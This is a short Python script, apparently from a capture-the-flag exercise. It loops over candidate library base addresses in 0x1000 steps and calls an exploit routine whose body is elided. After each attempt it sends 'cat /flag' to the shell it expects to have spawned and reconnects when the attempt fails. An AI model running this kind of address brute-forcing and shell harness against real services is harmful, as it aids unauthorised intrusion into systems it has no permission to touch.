@bomber(5)
def pwn(ld_libc):
	...

ld_libc_local = 0x3c3000 # change

ld_libc_start = 0x1000
while(True):
    try:
        log2_ex("Now burping: ")
        log2_ex(hex(ld_libc_start))
        pwn(ld_libc_start)
        sleep(0.05)
        sl('cat /flag')
        flag = ru(b'}')
        log2_ex(flag)
        pause()
    except:
        ld_libc_start += 0x1000
        gift.io.close()
        gift.io = copy_current_io()